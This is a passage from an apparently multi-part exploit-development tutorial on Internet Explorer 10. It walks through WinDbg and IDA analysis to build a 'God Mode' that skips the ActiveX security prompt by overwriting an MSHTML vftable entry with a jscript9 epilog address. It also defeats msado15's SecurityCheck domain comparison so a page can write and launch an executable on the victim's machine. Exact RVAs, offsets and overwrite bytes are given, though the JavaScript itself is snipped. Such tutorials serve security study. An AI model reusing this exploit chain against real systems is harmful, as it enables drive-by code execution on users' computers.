Evaluate expression: 51075360 = 030b5920
0:005> ? poi(030b5920+1f0)
Evaluate expression: 6152384 = 005de0c0
0:005> dd 005de0c0
005de0c0  6d0f55e0 00000001 6c4d7408 00589620
005de0d0  6c532ac0 00000000 00000000 00000000
005de0e0  00000005 00000000 3fd6264b 8c000000
005de0f0  005579b8 005de180 005579b8 5e6c858f
005de100  47600e22 33eafe9a 7371b617 005a0a08
005de110  00000000 00000000 3fd62675 8c000000
005de120  005882d0 005579e8 00556e00 5e6c858f
005de130  47600e22 33eafe9a 7371b617 005ce140
0:005> ln 6d0f55e0
(6d0f55e0)   MSHTML!s_apfnPlainTearoffVtable   |  (6d0f5ce8)   MSHTML!s_apfnEmbeddedDocTearoffVtable
Exact matches:
    MSHTML!s_apfnPlainTearoffVtable = <no type information>

Perfect: now it works!

Now we can complete our javascript code:

Note that we can use the “old” God Mode to create WScript.shell without showing the warning message.

Here’s the full code:

I snipped runcalc. You can download the full code from here: code2.

If you open the html file in IE without using SimpleServer, everything should work fine. But if you use SimpleServer and open the page by going to 127.0.0.1 in IE, then it doesn’t work. We’ve seen this error message before:

pic_35

Crossing Domains

The line of code which throws the error is the one indicated here:

The error message is “SCRIPT3716: Safety settings on this computer prohibit accessing a data source on another domain.“. So, let’s reload our html page using SimpleServer, change the length of the Int32Array and let the code throw the error. We note that some additional modules were loaded:

ModLoad: 0eb50000 0eb71000   C:\Windows\SysWOW64\wshom.ocx
ModLoad: 749d0000 749e2000   C:\Windows\SysWOW64\MPR.dll
ModLoad: 0eb80000 0ebaa000   C:\Windows\SysWOW64\ScrRun.dll
ModLoad: 0ebb0000 0ec0f000   C:\Windows\SysWOW64\SXS.DLL
ModLoad: 6e330000 6e429000   C:\Program Files (x86)\Common Files\System\ado\msado15.dll   <-------------
ModLoad: 72f00000 72f1f000   C:\Windows\SysWOW64\MSDART.DLL
ModLoad: 6e570000 6e644000   C:\Program Files (x86)\Common Files\System\Ole DB\oledb32.dll
ModLoad: 74700000 74717000   C:\Windows\SysWOW64\bcrypt.dll
ModLoad: 72150000 72164000   C:\Program Files (x86)\Common Files\System\Ole DB\OLEDB32R.DLL
ModLoad: 738c0000 738c2000   C:\Program Files (x86)\Common Files\System\ado\msader15.dll   <-------------
(15bc.398): C++ EH exception - code e06d7363 (first chance)
(15bc.398): C++ EH exception - code e06d7363 (first chance)

Two modules look particularly interesting: msado15.dll and msader15.dll. They’re located in the directory ado. It doesn’t take a genius to understand, or at least suspect, that those modules are related to ADODB.

Let’s see if we can find a function named SaveToFile in one of those two modules:

0:004> x msad*!*savetofile*
6e3e9ded          msado15!CStream::SaveToFile (<no parameter info>)
6e3ccf19          msado15!CRecordset::SaveToFile (<no parameter info>)

The first function seems to be what we’re looking for. Let’s put a breakpoint on it and reload the page. As we hoped, the execution breaks on msado15!CStream::SaveToFile. The name of the function suggests that the module is written in C++ and that SaveToFile is a method of the class CStream. ESI should point to an object of that class:

0:007> dd esi
0edbb328  6e36fd28 6e36fd00 6e36fcf0 6e33acd8
0edbb338  00000004 00000000 00000000 00000000
0edbb348  00000000 00000000 00000000 6e36fce0
0edbb358  6e33acc0 6e36fccc 00000000 00000904
0edbb368  00000001 04e4c2bc 00000000 6e36fc94
0edbb378  0edbb3b8 00000000 0edbb490 00000000
0edbb388  00000001 ffffffff 00000000 00000000
0edbb398  00000007 000004b0 00000000 00000000
0:007> ln poi(esi)
(6e36fd28)   msado15!ATL::CComObject<CStream>::`vftable'   |  (6e36fdb8)   msado15!`CStream::_GetEntries'::`2'::_entries
Exact matches:
    msado15!ATL::CComObject<CStream>::`vftable' = <no type information>

OK, it seems we’re on the right track.

Now let’s step through SaveToFile to find out where it fails. During our tracing we come across a very interesting call:

6e3ea0a9 0f8496000000    je      msado15!CStream::SaveToFile+0x358 (6e3ea145)
6e3ea0af 50              push    eax
6e3ea0b0 53              push    ebx
6e3ea0b1 e88f940000      call    msado15!SecurityCheck (6e3f3545)     <-------------------
6e3ea0b6 83c408          add     esp,8
6e3ea0b9 85c0            test    eax,eax
6e3ea0bb 0f8d84000000    jge     msado15!CStream::SaveToFile+0x358 (6e3ea145)

SecurityCheck takes two parameters. Let’s start by examining the first one:

0:007> dd eax
04e4c2bc  00740068 00700074 002f003a 0031002f
04e4c2cc  00370032 0030002e 0030002e 0031002e
04e4c2dc  0000002f 00650067 00000000 6ff81c09
04e4c2ec  8c000000 000000e4 00000000 00000000
04e4c2fc  0024d46c 0024d46c 0024cff4 00000013
04e4c30c  00000000 0000ffff 0c000001 00000000
04e4c31c  00000000 6ff81c30 88000000 00000001
04e4c32c  0024eee4 00000000 6d74682f 61202c6c

Mmm… that looks like a Unicode string. Let’s see if we’re right:

0:007> du eax
04e4c2bc  "http://127.0.0.1/"

That’s the URL of the page! What about ebx? Let’s see:

0:007> dd ebx
001d30c4  003a0043 0055005c 00650073 00730072
001d30d4  0067005c 006e0061 00610064 0066006c
001d30e4  0041005c 00700070 00610044 00610074
001d30f4  004c005c 0063006f 006c0061 0054005c
001d3104  006d0065 005c0070 006f004c 005c0077
001d3114  00750072 0063006e 006c0061 002e0063
001d3124  00780065 00000065 00000000 00000000
001d3134  40080008 00000101 0075006f 00630072
0:007> du ebx
001d30c4  "C:\Users\gandalf\AppData\Local\T"
001d3104  "emp\Low\runcalc.exe"

That’s the full path of the file we’re trying to create. Is it possible that those two URLs/paths are related to the domains the error message is referring to? Maybe the two domains are http://127.0.0.1/ and C:\.

Probably, SecurityCheck checks that the two arguments represent the same domain.

Let’s see what happens if we modify the first parameter:

0:007> ezu @eax "C:\\"
0:007> du @eax
04e4c2bc  "C:\"

The command ezu is used to (e)dit a (z)ero-terminated (u)nicode string. Now that we modified the second argument, let’s resume execution and see what happens.

The calculator pops up!!! Yeah!!!

Now we need a way to do the same from javascript. Is it possible? The best way to find out is to disassemble msado15.dll with IDA. Once in IDA, search for the function SecurityCheck (CTRL+P and click on Search), then click on the signature of SecurityCheck, press CTRL+X and double click on CStream::SaveToFile. Function SaveToFile is huge, but let’s not worry too much about it. We just need to analyze a very small portion of it. Let’s start by following the second argument:

pic_46
As we can see, EAX comes from [ESI+44h]. ESI should be the pointer this, which points to the current CStream object, but let’s make sure of it. In order to analyze the graph more comfortably, we can group all the nodes which are below the node with the call to SecurityCheck. To do so, zoom out by holding down CTRL while rotating the mouse wheel, select the nodes by holding down CTRL and using the mouse left button, and, finally, right click and select Group nodes. Here’s the reduced graph:

pic_47
It’s quite clear that ESI is indeed the pointer this. This is good because the variable bStream in our javascript probably points to the same object. Let’s find out if we’re right. To do so, let’s leak bStream by modifying our javascript code as follows:

Load the page in IE using SimpleServer and in WinDbg put a breakpoint on SaveToFile:

bm msado15!CStream::SaveToFile

The alert box will pop up with the address of bStream. In my case, the address is 3663f40h. After we close the alert box, the breakpoint is triggered. The address of the CStream is ESI, which in my case is 0e8cb328h. Let’s examine the memory at the address 3663f40h (our bStream):

0:007> dd 3663f40h
03663f40  71bb34c8 0e069a00 00000000 0e5db030
03663f50  05a30f50 03663f14 032fafd4 00000000
03663f60  71c69a44 00000008 00000009 00000000
03663f70  0e8cb248 00000000 00000000 00000000
03663f80  71c69a44 00000008 00000009 00000000
03663f90  0e8cb328 00000000 00000000 00000000    <------------- ptr to CStream!
03663fa0  71c69a44 00000008 00000009 00000000
03663fb0  0e8cb248 00000000 00000000 00000000

We can see that at offset 0x50 we have the pointer to the object CStream whose SaveToFile method is called in msado15.dll. Let’s see if we can reach the string http://127.0.0.1, which is the one we’d like to modify:

0:007> ? poi(3663f40+50)
Evaluate expression: 244101928 = 0e8cb328
0:007> du poi(0e8cb328+44)
04e5ff14  "http://127.0.0.1/"

Perfect!

Now we must determine the exact bytes we want to overwrite the original string with. Here’s an easy way of doing that:

0:007> ezu 04e5ff14 "C:\\"
0:007> dd 04e5ff14
04e5ff14  003a0043 0000005c 002f003a 0031002f
04e5ff24  00370032 0030002e 0030002e 0031002e
04e5ff34  0000002f 00000000 00000000 58e7b7b9
04e5ff44  8e000000 00000000 bf26faff 001a8001
04e5ff54  00784700 00440041 0044004f 002e0042
04e5ff64  00740053 00650072 006d0061 df6c0000
04e5ff74  0000027d 58e7b7be 8c000000 00000000
04e5ff84  00c6d95d 001c8001 00784300 00530057

So we need to overwrite the string with 003a0043 0000005c.

Change the code as follows:

Load the page in IE and, finally, everything should work fine!

Here’s the complete code for your convenience:

As before, I snipped runcalc. You can download the full code from here: code3.

Prev Part | Next Part

IE10: God Mode (1)

When an html page tries to load and run an ActiveX object in IE, the user is alerted with a dialog box. For instance, create an html file with the following code:

If you open this file in IE, you should get the following dialog box:

pic_27
If we activate the so-called God Mode, IE runs the ActiveX object without asking for the user’s permission. Basically, we’ll just use our ability to read and write where we want to alter the behavior of IE.

But what’s so interesting in popping up a calculator? That’s a valid demonstration for general shellcode because it proves that we can run arbitrary code, but here we’ve just proved that we can execute any program which resides on the user’s hard disk. We’d like to execute arbitrary code, instead.

One solution is to create an .exe file containing code and data of our choosing and then execute it. But for now, let’s try to bypass the dialog box when executing the code above.

Bypassing the dialog box

The dialog box displayed when the code above is run looks like a regular Windows dialog box, so it’s likely that IE uses the Windows API to create it. Let’s search for msdn dialog box with google. The first result is this link:

https://msdn.microsoft.com/en-us/library/windows/desktop/ms645452%28v=vs.85%29.aspx

As you can see in the following picture, there are a few functions used to create dialog boxes:

pic_28
By reading the Remarks section we discover that DialogBox calls CreateWindowEx:

pic_29
When we look at the other functions used to create dialog boxes, we find out that they also call CreateWindowEx, so we should put a breakpoint on CreateWindowEx.

First of all, we load the html page above in IE and, before allowing the blocked content (IE asks for a confirmation when you open local html files), we put a breakpoint on CreateWindowEx (both the ASCII and the Unicode version) in WinDbg:

  0:016> bp createwindowexw
  0:016> bp createwindowexa

Then, when we allow the blocked content, the breakpoint on CreateWindowExW is triggered. Here’s the stack trace:

0:007> k 20
ChildEBP RetAddr  
042bae7c 738d4467 user32!CreateWindowExW
042baebc 6eeee9fa IEShims!NS_HangResistanceInternal::APIHook_CreateWindowExW+0x64
042baefc 6efb9759 IEFRAME!SHFusionCreateWindowEx+0x47
042bb058 6efb951e IEFRAME!CBrowserFrameState::FindTabIDFromRootThreadID+0x13b
042bb0a4 6efb9409 IEFRAME!UnifiedFrameAware_AcquireModalDialogLockAndParent+0xe9
042bb0c4 738e8c5c IEFRAME!TabWindowExports::AcquireModalDialogLockAndParent+0x1b
042bb0e0 74e7f0c8 IEShims!NS_UISuppression::APIHook_DialogBoxParamW+0x31
042bb910 74e9efe0 urlmon!CSecurityManager::DisplayMessage+0x40
042bbcb4 74dff5d4 urlmon!memset+0x120a0
042bbcf8 6e2a84dc urlmon!CSecurityManager::ProcessUrlActionEx2+0x15f
042bbd6c 6e2a81ae MSHTML!CMarkup::ProcessURLAction2+0x31d
042bbd9c 6ecf7868 MSHTML!CMarkup::ProcessURLAction+0x3e
042bbe28 6e24d87d MSHTML!memcpy+0x120f00
042bbe6c 04d5c12d MSHTML!CDocument::HostQueryCustomPolicy+0x148
042bbee4 04d5bfae jscript9!ScriptEngine::CanObjectRun+0x78   <--------------------
042bbf30 04d5bde1 jscript9!ScriptSite::CreateObjectFromProgID+0xdf   <--------------------
042bbf74 04d5bd69 jscript9!ScriptSite::CreateActiveXObject+0x56   <--------------------
042bbfa8 04cc25d5 jscript9!JavascriptActiveXObject::NewInstance+0x90
042bc000 04cc272e jscript9!Js::InterpreterStackFrame::NewScObject_Helper+0xd6
042bc194 04c95cf5 jscript9!Js::InterpreterStackFrame::Process+0x2c6d
042bc29c 034b0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
042bc2a8 04c91f60 0x34b0fe9
042bc328 04c920ca jscript9!Js::JavascriptFunction::CallRootFunction+0x140
042bc340 04c9209f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
042bc388 04c92027 jscript9!ScriptSite::CallRootFunction+0x40
042bc3b0 04d3df75 jscript9!ScriptSite::Execute+0x61
042bc43c 04d3db57 jscript9!ScriptEngine::ExecutePendingScripts+0x1e9
042bc4c4 04d3e0b7 jscript9!ScriptEngine::ParseScriptTextCore+0x2ad
042bc518 6e37b60c jscript9!ScriptEngine::ParseScriptText+0x5b
042bc550 6e37945d MSHTML!CActiveScriptHolder::ParseScriptText+0x42
042bc5a0 6e36b52f MSHTML!CJScript9Holder::ParseScriptText+0x58
042bc614 6e37c6a4 MSHTML!CScriptCollection::ParseScriptText+0x1f0

Three lines look particularly interesting:

042bbee4 04d5bfae jscript9!ScriptEngine::CanObjectRun+0x78   <--------------------
042bbf30 04d5bde1 jscript9!ScriptSite::CreateObjectFromProgID+0xdf   <--------------------
042bbf74 04d5bd69 jscript9!ScriptSite::CreateActiveXObject+0x56   <--------------------

Maybe the function CanObjectRun decides if the ActiveX object can run? Let’s delete the previous breakpoints and put a breakpoint on jscript9!ScriptSite::CreateActiveXObject:

bp jscript9!ScriptSite::CreateActiveXObject

When we reload the html page and allow the blocked content in IE, we break on CreateActiveXObject. Here’s the code:

jscript9!ScriptSite::CreateActiveXObject:
04eebd8b 6a18            push    18h
04eebd8d b81927eb04      mov     eax,offset jscript9!memset+0x2ac2 (04eb2719)
04eebd92 e88752f2ff      call    jscript9!_EH_epilog3_GS (04e1101e)
04eebd97 837d1000        cmp     dword ptr [ebp+10h],0
04eebd9b 8b5d08          mov     ebx,dword ptr [ebp+8]
04eebd9e 8b5b54          mov     ebx,dword ptr [ebx+54h]
04eebda1 0f8571721600    jne     jscript9!memset+0xf9c1 (05053018)
04eebda7 8bcb            mov     ecx,ebx
04eebda9 8d75e8          lea     esi,[ebp-18h]
04eebdac e8f4feffff      call    jscript9!AutoLeaveScriptPtr<IDispatch>::AutoLeaveScriptPtr<IDispatch> (04eebca5)
04eebdb1 8365fc00        and     dword ptr [ebp-4],0
04eebdb5 8365f000        and     dword ptr [ebp-10h],0 ss:002b:0446ba64=0446ba70
04eebdb9 896df0          mov     dword ptr [ebp-10h],ebp
04eebdbc 8d45dc          lea     eax,[ebp-24h]
04eebdbf 50              push    eax
04eebdc0 8b45f0          mov     eax,dword ptr [ebp-10h]
04eebdc3 8bcb            mov     ecx,ebx
04eebdc5 e87faaf9ff      call    jscript9!Js::LeaveScriptObject<1,1>::LeaveScriptObject<1,1> (04e86849)
04eebdca 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
04eebdcd 8bc6            mov     eax,esi
04eebdcf c645fc01        mov     byte ptr [ebp-4],1
04eebdd3 8b7508          mov     esi,dword ptr [ebp+8]
04eebdd6 50              push    eax
04eebdd7 ff7510          push    dword ptr [ebp+10h]
04eebdda 8bd6            mov     edx,esi
04eebddc e8ea000000      call    jscript9!ScriptSite::CreateObjectFromProgID (04eebecb)   <---------------
04eebde1 c645fc00        mov     byte ptr [ebp-4],0
04eebde5 807de400        cmp     byte ptr [ebp-1Ch],0
04eebde9 8bf8            mov     edi,eax

If we step inside jscript9!ScriptSite::CreateObjectFromProgID we see the following code:

jscript9!ScriptSite::CreateObjectFromProgID:
04eebecb 8bff            mov     edi,edi
04eebecd 55              push    ebp
04eebece 8bec            mov     ebp,esp
04eebed0 83ec34          sub     esp,34h
04eebed3 a144630a05      mov     eax,dword ptr [jscript9!__security_cookie (050a6344)]
04eebed8 33c5            xor     eax,ebp
04eebeda 8945fc          mov     dword ptr [ebp-4],eax
04eebedd 53              push    ebx
04eebede 8b5d0c          mov     ebx,dword ptr [ebp+0Ch]
04eebee1 56              push    esi
04eebee2 33c0            xor     eax,eax
04eebee4 57              push    edi
04eebee5 8b7d08          mov     edi,dword ptr [ebp+8]
04eebee8 8bf2            mov     esi,edx
04eebeea 8975dc          mov     dword ptr [ebp-24h],esi
04eebeed 8945cc          mov     dword ptr [ebp-34h],eax
04eebef0 897dd0          mov     dword ptr [ebp-30h],edi
04eebef3 8945d4          mov     dword ptr [ebp-2Ch],eax
04eebef6 8945d8          mov     dword ptr [ebp-28h],eax
04eebef9 8945e8          mov     dword ptr [ebp-18h],eax
04eebefc 85ff            test    edi,edi
04eebefe 0f85e26a1600    jne     jscript9!memset+0xf390 (050529e6)
04eebf04 8b4604          mov     eax,dword ptr [esi+4]
04eebf07 e8d5000000      call    jscript9!ScriptEngine::InSafeMode (04eebfe1)
04eebf0c 85c0            test    eax,eax
04eebf0e 8d45ec          lea     eax,[ebp-14h]
04eebf11 50              push    eax
04eebf12 51              push    ecx
04eebf13 0f84d86a1600    je      jscript9!memset+0xf39b (050529f1)
04eebf19 ff1508400905    call    dword ptr [jscript9!_imp__CLSIDFromProgID (05094008)]
04eebf1f 85c0            test    eax,eax
04eebf21 0f88e867fcff    js      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04eb270f)
04eebf27 8d45ec          lea     eax,[ebp-14h]
04eebf2a 50              push    eax
04eebf2b 8b4604          mov     eax,dword ptr [esi+4]
04eebf2e e8e2030000      call    jscript9!ScriptEngine::CanCreateObject (04eec315)   <-----------------------
04eebf33 85c0            test    eax,eax
04eebf35 0f84d467fcff    je      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04eb270f)

If we keep stepping through the code, we get to jscript9!ScriptEngine::CanCreateObject. This function also looks interesting. For now, let’s note that it returns 1 (i.e. EAX = 1) in this case. We continue to step through the code:

04eebf3b 6a05            push    5
04eebf3d 58              pop     eax
04eebf3e 85ff            test    edi,edi
04eebf40 0f85b66a1600    jne     jscript9!memset+0xf3a6 (050529fc)
04eebf46 8d4de4          lea     ecx,[ebp-1Ch]
04eebf49 51              push    ecx
04eebf4a 68ac0fec04      push    offset jscript9!IID_IClassFactory (04ec0fac)
04eebf4f ff75e8          push    dword ptr [ebp-18h]
04eebf52 50              push    eax
04eebf53 8d45ec          lea     eax,[ebp-14h]
04eebf56 50              push    eax
04eebf57 ff1504400905    call    dword ptr [jscript9!_imp__CoGetClassObject (05094004)]
04eebf5d 85c0            test    eax,eax
04eebf5f 0f88aa67fcff    js      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04eb270f)
04eebf65 8b45e4          mov     eax,dword ptr [ebp-1Ch]
04eebf68 8b08            mov     ecx,dword ptr [eax]
04eebf6a 8d55e0          lea     edx,[ebp-20h]
04eebf6d 52              push    edx
04eebf6e 68ccbfee04      push    offset jscript9!IID_IClassFactoryEx (04eebfcc)
04eebf73 50              push    eax
04eebf74 ff11            call    dword ptr [ecx]      ds:002b:040725f8={wshom!CClassFactory::QueryInterface (04080554)}
04eebf76 85c0            test    eax,eax
04eebf78 8b45e4          mov     eax,dword ptr [ebp-1Ch]
04eebf7b 8b08            mov     ecx,dword ptr [eax]
04eebf7d 0f89a76a1600    jns     jscript9!memset+0xf3d4 (05052a2a)
04eebf83 53              push    ebx
04eebf84 681c13e104      push    offset jscript9!IID_IUnknown (04e1131c)
04eebf89 6a00            push    0
04eebf8b 50              push    eax
04eebf8c ff510c          call    dword ptr [ecx+0Ch]  ds:002b:04072604={wshom!CClassFactory::CreateInstance (04080613)}
04eebf8f 8bf0            mov     esi,eax
04eebf91 8b45e4          mov     eax,dword ptr [ebp-1Ch]
04eebf94 8b08            mov     ecx,dword ptr [eax]
04eebf96 50              push    eax
04eebf97 ff5108          call    dword ptr [ecx+8]    ds:002b:04072600={wshom!CClassFactory::Release (04080909)}
04eebf9a 85f6            test    esi,esi
04eebf9c 7818            js      jscript9!ScriptSite::CreateObjectFromProgID+0xe3 (04eebfb6)
04eebf9e 8b4ddc          mov     ecx,dword ptr [ebp-24h]
04eebfa1 ff33            push    dword ptr [ebx]
04eebfa3 8b4904          mov     ecx,dword ptr [ecx+4]
04eebfa6 8d55ec          lea     edx,[ebp-14h]
04eebfa9 e807010000      call    jscript9!ScriptEngine::CanObjectRun (04eec0b5)   <----------------------
04eebfae 85c0            test    eax,eax
04eebfb0 0f8467a90800    je      jscript9!ScriptSite::CreateObjectFromProgID+0xfd (04f7691d)   <---------------
04eebfb6 8b4dfc          mov     ecx,dword ptr [ebp-4]
04eebfb9 5f              pop     edi
04eebfba 8bc6            mov     eax,esi
04eebfbc 5e              pop     esi
04eebfbd 33cd            xor     ecx,ebp
04eebfbf 5b              pop     ebx
04eebfc0 e87953f2ff      call    jscript9!__security_check_cookie (04e1133e)
04eebfc5 c9              leave
04eebfc6 c20800          ret     8

Finally, we get to jscript9!ScriptEngine::CanObjectRun. When we step over it, the familiar dialog box pops up:

pic_27
Let’s click on Yes and go back in WinDbg. We can see that CanObjectRun returned 1 (i.e EAX = 1). This means that the je at 04eebfb0 is not taken and CreateObjectFromProgID returns. We can see that the calculator pops up.

Now let’s put a breakpoint right at 04eebfae, reload the page in IE and let’s see what happens if we click on No when the dialog box appears. Now EAX is 0 and je is taken. If we resume the execution, we can see that the calculator doesn’t pop up this time.

So, if we want to bypass the dialog box, we must force CanObjectRun to return true (i.e. EAX != 0). Unfortunately, we can’t modify the code because it resides on read-only pages. We’ll need to think of something else.

Let’s put a breakpoint on jscript9!ScriptEngine::CanObjectRun and reload the page in IE. This time, we’re stepping inside CanObjectRun:

jscript9!ScriptEngine::CanObjectRun:
04eec0b5 8bff            mov     edi,edi
04eec0b7 55              push    ebp
04eec0b8 8bec            mov     ebp,esp
04eec0ba 83ec48          sub     esp,48h
04eec0bd a144630a05      mov     eax,dword ptr [jscript9!__security_cookie (050a6344)]
04eec0c2 33c5            xor     eax,ebp
04eec0c4 8945f8          mov     dword ptr [ebp-8],eax
04eec0c7 53              push    ebx
04eec0c8 8b5d08          mov     ebx,dword ptr [ebp+8]
04eec0cb 56              push    esi
04eec0cc 57              push    edi
04eec0cd 8bf9            mov     edi,ecx
04eec0cf 8bf2            mov     esi,edx
04eec0d1 8bc7            mov     eax,edi
04eec0d3 8975cc          mov     dword ptr [ebp-34h],esi
04eec0d6 e806ffffff      call    jscript9!ScriptEngine::InSafeMode (04eebfe1)
04eec0db 85c0            test    eax,eax
04eec0dd 0f844e581600    je      jscript9!memset+0xe3b4 (05051931)
04eec0e3 f687e401000008  test    byte ptr [edi+1E4h],8
04eec0ea 0f8450581600    je      jscript9!memset+0xe3c3 (05051940)
04eec0f0 8d45bc          lea     eax,[ebp-44h]
04eec0f3 50              push    eax
04eec0f4 e87a020000      call    jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (04eec373)
04eec0f9 85c0            test    eax,eax
04eec0fb 0f8838581600    js      jscript9!memset+0xe3bc (05051939)
04eec101 8b45bc          mov     eax,dword ptr [ebp-44h]
04eec104 8d7dd0          lea     edi,[ebp-30h]
04eec107 a5              movs    dword ptr es:[edi],dword ptr [esi]
04eec108 a5              movs    dword ptr es:[edi],dword ptr [esi]
04eec109 a5              movs    dword ptr es:[edi],dword ptr [esi]
04eec10a a5              movs    dword ptr es:[edi],dword ptr [esi]
04eec10b 895de0          mov     dword ptr [ebp-20h],ebx
04eec10e 33db            xor     ebx,ebx
04eec110 53              push    ebx
04eec111 6a18            push    18h
04eec113 8d55d0          lea     edx,[ebp-30h]
04eec116 52              push    edx
04eec117 8d55cc          lea     edx,[ebp-34h]
04eec11a 52              push    edx
04eec11b 8d55c0          lea     edx,[ebp-40h]
04eec11e 52              push    edx
04eec11f 6868c1ee04      push    offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (04eec168)
04eec124 895de4          mov     dword ptr [ebp-1Ch],ebx
04eec127 8b08            mov     ecx,dword ptr [eax]
04eec129 50              push    eax
04eec12a ff5114          call    dword ptr [ecx+14h]  ds:002b:6ed255f4={MSHTML!TearoffThunk5 (6e1dafe5)}   <--------------------------
04eec12d 85c0            test    eax,eax
04eec12f 0f8804581600    js      jscript9!memset+0xe3bc (05051939)
04eec135 8b45c0          mov     eax,dword ptr [ebp-40h]
04eec138 6a03            push    3

When we step over the call at 04eec12a, the familiar dialog box pops up. Let’s keep stepping:

04eec13a 5b              pop     ebx
04eec13b 85c0            test    eax,eax
04eec13d 740f            je      jscript9!ScriptEngine::CanObjectRun+0x99 (04eec14e)
04eec13f 837dcc04        cmp     dword ptr [ebp-34h],4
04eec143 7202            jb      jscript9!ScriptEngine::CanObjectRun+0x92 (04eec147)
04eec145 8b18            mov     ebx,dword ptr [eax]
04eec147 50              push    eax
04eec148 ff151c400905    call    dword ptr [jscript9!_imp__CoTaskMemFree (0509401c)]
04eec14e 6a00            push    0
04eec150 f6c30f          test    bl,0Fh
04eec153 58              pop     eax
04eec154 0f94c0          sete    al
04eec157 8b4df8          mov     ecx,dword ptr [ebp-8]
04eec15a 5f              pop     edi
04eec15b 5e              pop     esi
04eec15c 33cd            xor     ecx,ebp
04eec15e 5b              pop     ebx
04eec15f e8da51f2ff      call    jscript9!__security_check_cookie (04e1133e)
04eec164 c9              leave
04eec165 c20400          ret     4

Finally, CanObjectRun returns.

Let’s look again at the following three lines of code:

04eec127 8b08            mov     ecx,dword ptr [eax]      ; ecx = vftable pointer
04eec129 50              push    eax
04eec12a ff5114          call    dword ptr [ecx+14h]  ds:002b:6ed255f4={MSHTML!TearoffThunk5 (6e1dafe5)}

It’s pretty clear that the first line reads the vftable pointer from the first dword of the object pointed to by eax and that, finally, the third instruction calls the 6th virtual function (offset 14h) in the vftable. Since all vftables are located at fixed RVAs, we can locate and modify this vftable so that we can call whetever code we want.

Right before the call at 04eec12a, eax is clearly non zero, so, if we were to return immediately from CanObjectRun, CanObjectRun would return true. What happens if we overwrite the 6th pointer of the vftable with the value 04eec164?

What happens is that the call at 04eec127 will call the epilog of CanObjectRun so CanObjectRun will end and return true. Everything works correctly because, even if the call at 04eec127 push a ret eip on the stack, the epilog of CanObjectRun will restore esp to the correct value. Remember that leave is equivalent to the following two instructions:

mov   esp, ebp
pop   ebp

Let’s put a breakpoint at 04eec12a, reload the page in IE and, when the breakpoint is triggered, examine the vftable:

0:007> ln ecx
(6ed255e0)   MSHTML!s_apfnPlainTearoffVtable   |  (6ed25ce8)   MSHTML!s_apfnEmbeddedDocTearoffVtable
Exact matches:
    MSHTML!s_apfnPlainTearoffVtable = <no type information>
0:007> dds ecx
6ed255e0  6e162681 MSHTML!PlainQueryInterface
6ed255e4  6e1625a1 MSHTML!CAPProcessor::AddRef
6ed255e8  6e13609d MSHTML!PlainRelease
6ed255ec  6e128eb5 MSHTML!TearoffThunk3
6ed255f0  6e30604a MSHTML!TearoffThunk4
6ed255f4  6e1dafe5 MSHTML!TearoffThunk5    <----------- we want to overwrite this
6ed255f8  6e1d9a77 MSHTML!TearoffThunk6
6ed255fc  6e2b1a73 MSHTML!TearoffThunk7
6ed25600  6e1d770c MSHTML!TearoffThunk8
6ed25604  6e1db22c MSHTML!TearoffThunk9
6ed25608  6e1db1e3 MSHTML!TearoffThunk10
6ed2560c  6e307db5 MSHTML!TearoffThunk11
6ed25610  6e1db2b8 MSHTML!TearoffThunk12
6ed25614  6e3e2a3d MSHTML!TearoffThunk13
6ed25618  6e2f2719 MSHTML!TearoffThunk14
6ed2561c  6e304879 MSHTML!TearoffThunk15
6ed25620  6e1db637 MSHTML!TearoffThunk16
6ed25624  6e1e1bf3 MSHTML!TearoffThunk17
6ed25628  6e1d9649 MSHTML!TearoffThunk18
6ed2562c  6e558422 MSHTML!TearoffThunk19
6ed25630  6e63bc4a MSHTML!TearoffThunk20
6ed25634  6e1e16d9 MSHTML!TearoffThunk21
6ed25638  6e397b23 MSHTML!TearoffThunk22
6ed2563c  6e2c2734 MSHTML!TearoffThunk23
6ed25640  6e3975ed MSHTML!TearoffThunk24
6ed25644  6e5728c5 MSHTML!TearoffThunk25
6ed25648  6e475a7d MSHTML!TearoffThunk26
6ed2564c  6e456310 MSHTML!TearoffThunk27
6ed25650  6e46ff2d MSHTML!TearoffThunk28
6ed25654  6e45a803 MSHTML!TearoffThunk29
6ed25658  6e47d81a MSHTML!TearoffThunk30
6ed2565c  6e2d3f19 MSHTML!TearoffThunk31

Determining the RVA of the vftable is quite easy:

0:007> ? MSHTML!s_apfnPlainTearoffVtable-mshtml
Evaluate expression: 12932576 = 00c555e0

Now let’s find the RVA of the epilog at 04eec164:

0:007> !address 04eec164

                                     
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...


Usage:                  Image
Base Address:           04e11000
End Address:            05094000
Region Size:            00283000
State:                  00001000  MEM_COMMIT
Protect:                00000020  PAGE_EXECUTE_READ
Type:                   01000000  MEM_IMAGE
Allocation Base:        04e10000
Allocation Protect:     00000080  PAGE_EXECUTE_WRITECOPY
Image Path:             C:\Windows\SysWOW64\jscript9.dll
Module Name:            jscript9      <----------------------------------------------
Loaded Image Name:      C:\Windows\SysWOW64\jscript9.dll
Mapped Image Name:      
More info:              lmv m jscript9
More info:              !lmi jscript9
More info:              ln 0x4eec164
More info:              !dh 0x4e10000


0:007> ? 04eec164-jscript9
Evaluate expression: 901476 = 000dc164

So the vftable is at mshtml + 0xc555e0 and we need to overwrite the dword at mshtml + 0xc555e0 + 0x14 with the value jscript9 + 0xdc164. Let’s see the javascript code to do this:

Note that the code restores the vftable as soon as possible (God mode off!) because the altered vftable would lead to a crash in the long run.

Here’s the full code:

Open it in IE and, when the alert box tells you, go in WinDbg and set the byte at 0c0af01b to 0x20 or the dword at 0c0af018 to 0x20000000. Then close the alert box and the calculator should pop up. If there is an error (it may happen, as we already saw), don’t worry and repeat the process.

Running arbitrary code

We saw how to run an executable present on the victim’s computer. Now let’s see how we can execute arbitrary code. The trick is to create an .exe file and then execute it. This is the code to do just that:

I won’t explain the details of how this code works because I don’t think that’s very interesting.

First of all, let’s create a little application which open the calculator. In real life, we’d code something more interesting and useful, of course, but that’s enough for a demonstration.

Create a C/C++ Win32 Project in Visual Studio 2013 with the following code:

